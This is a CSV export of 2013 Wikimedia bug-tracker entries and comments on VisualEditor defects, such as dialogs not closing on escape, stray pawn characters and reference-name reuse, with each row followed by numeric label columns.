+251812,VisualEditor: Pressing escape should close a dialog,This fix will be pushed to production later this afternoon; closing as such.,,,1372378620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+251805,VisualEditor: Pressing escape should close a dialog,"Change 70946 merged by jenkins-bot:
+Close dialogs on escape
+
+https://gerrit.wikimedia.org/r/70946",,,1372378238,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251797,VisualEditor: Pressing escape should close a dialog,"Change 70946 had a related patch set uploaded by Trevor Parscal:
+Close dialogs on escape
+
+https://gerrit.wikimedia.org/r/70946",,,1372377665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+51807,VisualEditor: Image corruption edits - garbled text inserted into image description,"See, for example, http://en.wikipedia.org/w/index.php?title=Audie_Murphy&diff=560382883&oldid=560374610 - the line ""ad a private-pilot license and"" (image description) is clearly being taken from the article text ""had a private-pilot license and a reported 8, 000 hours of flying time"", but I have no idea how.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371640500,1372016417.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-rjfwlifxsqzej72hvwal,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+251684,VisualEditor: Image corruption edits - garbled text inserted into image description,These were fixed by Inez's new code from Thursday.,,,1372016417,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rjfwlifxsqzej72hvwal,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+251681,VisualEditor: Image corruption edits - garbled text inserted into image description,"**molly.white5** wrote:
+
+A user just came to IRC asking about this same issue. The user had made this edit: http://en.wikipedia.org/w/index.php?title=Harry_Belafonte&diff=560738876&oldid=560738222
+
+The user had only intended to make the changes that appear between lines 98 and 108; all of the other changes appear to be a product of this bug.
+
+The same issue occurred for the user in http://en.wikipedia.org/w/index.php?title=Harry_Belafonte&diff=560737462&oldid=560717280.",,,1371737760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rjfwlifxsqzej72hvwal,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+51797,VisualEditor: Some template dialog loading attempts fail with 'TypeError',"Steps to reproduce:
+
+1) Visit https://en.wikipedia.org/wiki/Deliciosamente_amoral?veaction=edit
+
+2) Attempt to manipulate the contents of the infobox by clicking the puzzle piece icon associated with it.
+
+Expected behavior:
+
+Infobox parameters should be editable.
+
+Actual behavior:
+
+Template editor invocation fails with the following error on the console:
+
+Uncaught TypeError: Cannot read property 'description' of undefined 
+
+Chrome/Ubuntu
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49493",High,80.0,1371614460,1371748994.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-ic77u5udy3nvxbsnznrc,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+250889,VisualEditor: Some template dialog loading attempts fail with 'TypeError',"Yes, this is a dupe of bug 49493; sorry!
+
+*** This bug has been marked as a duplicate of bug 49493 ***",,,1371748994,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ic77u5udy3nvxbsnznrc,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+250879,VisualEditor: Some template dialog loading attempts fail with 'TypeError',"This might be linked to bug 49493 - Timo, any quick thoughts?",,,1371614781,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ic77u5udy3nvxbsnznrc,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+51781,VisualEditor: Inspector menu appears with blank entry in Firefox,"Example screenshot of the issue
+
+In the given link, for reference 7's template; only in Firefox - works fine in Chrome.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/w/index.php?title=VisualEditor:TestReferenceContents&oldid=713075
+
+**Attached**: {F11716}",High,80.0,1371594720,1372190121.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xu4scnfjjp674hs6ehjl,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249897,VisualEditor: Inspector menu appears with blank entry in Firefox,Patched and merged: https://gerrit.wikimedia.org/r/#/c/70119/,,,1372190121,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-xu4scnfjjp674hs6ehjl,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+51760,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,"https://en.wikipedia.org/wiki/List_of_highways_numbered_147?veaction=edit
+
+I selected an inline image in the editor (in itself strange, because it doesn't seem you can edit it). I then hit cmd-c, and the inline image was replaced by the pawn char.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371579000,1371680649.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-eiikdpgxia5svismvu44,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+248803,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,Fixed (I think) in gerrit 69503 which we will deploy this afternoon.,,,1371680649,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eiikdpgxia5svismvu44,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+248798,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,"Actually, Safari 6 for me.",,,1371649398,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-eiikdpgxia5svismvu44,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+248793,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,"Yet again, a Firefox bug. *sighs*
+
+(Editing images will be possible very very soon. :-))",,,1371580229,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eiikdpgxia5svismvu44,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0
+51755,"VisualEditor: Nested identical annotations can be additive, not just identical","<b><b>Foo</b></b> == <b>Foo</b> so it's not /so/ bad if VE corrects it (but it's still a bit dirty, but <small><small>Foo</small></small> != <small>Foo</small> (and the same with <big> and <sup> and …)
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://en.wikipedia.org/w/index.php?title=User:JohnCD/draft&diff=560430675&oldid=560430611",High,80.0,1371574560,1373503078.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+248480,"VisualEditor: Nested identical annotations can be additive, not just identical",Now fixed.,,,1373503078,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+248473,"VisualEditor: Nested identical annotations can be additive, not just identical",Fixed on the VisualEditor side; the Parsoid upstream issue in Domino is patched but not yet released. Not marking as fixed until that's done.,,,1373318742,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+248467,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 72133 merged by jenkins-bot:
+Make all annotations additive
+
+https://gerrit.wikimedia.org/r/72133",,,1373313118,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248462,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 72133 had a related patch set uploaded by Esanders:
+Make all annotations additive
+
+https://gerrit.wikimedia.org/r/72133",,,1373055582,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248454,"VisualEditor: Nested identical annotations can be additive, not just identical","(In reply to comment #4)
+> The fix sets big/small/sup/sub to be additive.
+> 
+> Arguably we should make all annotations additive, as you could add
+> 'style=""font-size:110%""' to anything, although I haven't thought through how
+> this might affect the toolbar interactions yet.
+
++1. This will also avoid dirty diffs on such content.",,,1372801723,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,0,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+248448,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 71716 merged by jenkins-bot:
+Allow annotations to be additive
+
+https://gerrit.wikimedia.org/r/71716",,,1372797972,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248440,"VisualEditor: Nested identical annotations can be additive, not just identical","The fix sets big/small/sup/sub to be additive.
+
+Arguably we should make all annotations additive, as you could add 'style=""font-size:110%""' to anything, although I haven't thought through how this might affect the toolbar interactions yet.",,,1372797053,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,0,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+248433,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 71716 had a related patch set uploaded by Esanders:
+Allow annotations to be additive
+
+https://gerrit.wikimedia.org/r/71716",,,1372796724,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248428,"VisualEditor: Nested identical annotations can be additive, not just identical",This causes round-trip failures.,,,1372723619,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+248425,"VisualEditor: Nested identical annotations can be additive, not just identical",%%%*** Bug 49756 has been marked as a duplicate of this bug. ***%%%,,,1371574644,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+51733,VisualEditor: Support creation/editing of references using an existing ref-name,"The reference editor allows me to group references, and allows me to include a ref name parameter to make them reusable, but has no way of actually calling that ref name.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371535560,1372382660.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+247319,VisualEditor: Support creation/editing of references using an existing ref-name,"This feature is now written and merged, and will be going out in a few minutes.",,,1372382660,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+247313,VisualEditor: Support creation/editing of references using an existing ref-name,"Change 70364 merged by jenkins-bot:
+Reference insertion, new and existing
+
+https://gerrit.wikimedia.org/r/70364",,,1372382035,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+247307,VisualEditor: Support creation/editing of references using an existing ref-name,"... this is already what's meant to happen with master; it seems that it's broken a little in this regard, so we'll need to fix.",,,1371573652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+247297,VisualEditor: Support creation/editing of references using an existing ref-name,"Proposing for July 4 milestone (alt. July 11). This is imho not a nice-to-have but a requirement since re-using of references is quite common and without it, it would seem incomplete.
+
+The ability to create such references or turn existing ones into it may be less important than the ability to edit such references (e.g. a <select> with all ref-names available on this page).",,,1371540715,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2hbzqzof3t5thiyrb3yz,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+51732,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B","Screenshot
+
+See associated character; italics in the reference editing interface causes a pawn to appear.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11627}",High,80.0,1371533160,1371680618.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-v4v3wychksw2n5sabckt,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247243,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",*** Bug 49877 has been marked as a duplicate of this bug. ***,,,1371774369,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247239,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",*** Bug 49888 has been marked as a duplicate of this bug. ***,,,1371773590,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247236,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",Fixed in gerrit 69503 which we will deploy this afternoon.,,,1371680618,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+247231,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B","Actually, neither the console nor firebug show any errors.
+
+It is an italicised or bolded pawn, however, so we can confirm that works.",,,1371634405,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+247226,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B","Please check your browser's JS console, there should be an error message that appears there at the same time that the pawns appear in the editor.",,,1371602813,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+247222,"VisualEditor: Reference editor adds pawn on Ctrl+I, Ctrl+B",Also adding a pawn on bolding.,,,1371534835,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v4v3wychksw2n5sabckt,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+51731,VisualEditor: Template inspector removing characters from header,"See associated screenshot; an attempt to add 'foo' to the infobox on https://www.mediawiki.org/wiki/VisualEditor:Template_test
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371532980,1371657198.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ukps7g4li7inap7lxq46,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0
